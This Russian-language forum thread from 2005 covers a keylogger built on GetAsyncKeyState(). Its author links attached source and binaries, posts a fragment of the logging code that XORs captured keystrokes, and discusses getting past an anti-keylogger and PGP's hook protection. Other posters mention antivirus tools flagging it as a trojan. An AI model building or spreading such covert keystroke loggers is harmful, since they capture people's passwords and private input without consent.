Новый тип кейлогера.

Тема в разделе "WASM.RESEARCH", создана пользователем khv_test, 12 мар 2005.

  1. khv_test

    khv_test New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    135
    Искал способ создания Кейлогера с помощью GetAsyncKeyState(), т.к. стандартный через хуки неудобен тем что нужно "таскать" за собой ДЛЛ, а хотелось чтоб можно было запустить отдельный поток. Раз хочется можно и попытаться, в результате написал несколько прог:

    akl - собственно логер

    akl_analyze - анализирует логи

    get_lang_id - нужна для получения кода языка.

    Сейчас перехватываются клавиши в русской и английской раскладке.

    Что вышло смотреть в аттаче(там src+bin).



    [​IMG] 1747654777__src_bin.zip
     
  2. svl

    svl New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2005
    Сообщения:
    46
    Адрес:
    Ukraine
    Классно !!!



    Только долго при запуске не отвечает, (курсор в виде часов), из-зф того что файл сразу создается.

    А так - Rulezz!!!
     
  3. Stub

    Stub New Member

    Публикаций:
    0
    Регистрация:
    11 май 2004
    Сообщения:
    311
    Адрес:
    Siberia
    Чтобы не таскать DLL'ку можно ставить хук типа WH_JOURNALRECORD, который не обязательно должен жить в DLL'ке. Правда это получится уже не новый вид кейлоггера :).
     
  4. Saint German

    Saint German New Member

    Публикаций:
    0
    Регистрация:
    13 сен 2003
    Сообщения:
    222
    Чего-то нового не видно,

    есть такой антикейлоггер, на www.bezpeka.biz смотри,

    если твой кейлоггер работает совместно с ним, то значит действительно новый тип:) - ни в коем случае не расцениайте это как рекламу:).
     
  5. khv_test

    khv_test New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    135
    Я тестил, его на PGP(где защита от Хуков) все перехватывает,насчет www.bezpeka.biz.

    В моем кейлогере используется тот способ который применяется в играх, так что думаю будет работать если тока они не фильтруют вызовы к GetKeyboardLayout.
     
  6. Stub

    Stub New Member

    Публикаций:
    0
    Регистрация:
    11 май 2004
    Сообщения:
    311
    Адрес:
    Siberia
    За этим "новым видом" уже Касперский начал следить :), сегодня KAV в архивчике обнаружил Trojan-Spy.Win32.KeyLogger.ct ;)
     
  7. kyprizel

    kyprizel New Member

    Публикаций:
    0
    Регистрация:
    1 авг 2003
    Сообщения:
    232
    Адрес:
    TSK
    imho такая же техника в RxBot
     
  8. khv_test

    khv_test New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    135
    Найден баг:



    во всех этих строчках:

    if(i==VK_BACK)

    dump(h_file,"",3);

    //~ else if(i==VK_TAB)

    //~ dump(h_file,"[T]",3);

    else if(i==VK_RETURN)

    dump(h_file,"[E]",3);

    else if(i==VK_DELETE)

    dump(h_file,"[D]",3);

    //~ else if(i==VK_UP)

    //~ dump(h_file,"",3);

    //~ else if(i==VK_DOWN)

    //~ dump(h_file,"[d]",3);

    //~ else if(i==VK_RIGHT)

    //~ dump(h_file,"[r]",3);

    //~ else if(i==VK_LEFT)

    //~ dump(h_file,"[l]",3);



    т.к. в процедуре dump, второй параметр ксорится то получается что ксорится константа и через раз выдает нормально/хренова



    Пример решения проблемы:

    Заменить:

    if(i==VK_BACK)

    dump(h_file,"",3);

    На:

    if(i==VK_BACK)

    {

    key=(int)''; // **

    dump(h_file,(char)&key,3);

    }

    ** - зависит от компилера, в каком порядке он представляет данные.

    [​IMG] _95681946__src_bin_v1.1.zip
     
  9. kodermax

    kodermax New Member

    Публикаций:
    0
    Регистрация:
    5 фев 2007
    Сообщения:
    26
    вирус это.Ругается Nod32
     
  10. khv_test

    khv_test New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    135
    намба 1 посмотри на дату поста
    намба 2 информация устаревает быстрее,чем ты ты можешь себе представить
    намба 3 в аттаче пример просто консольной проги показывающей скан-код клавиши,доработанной и основанной на этом методе.
    Код (Text):
    1.  
     
  11. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    пример переписаный на фасм.

    -перезалил, теперь всё точно так же отображаеться, как в примере на С.
     
  12. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    макросы для компилияции...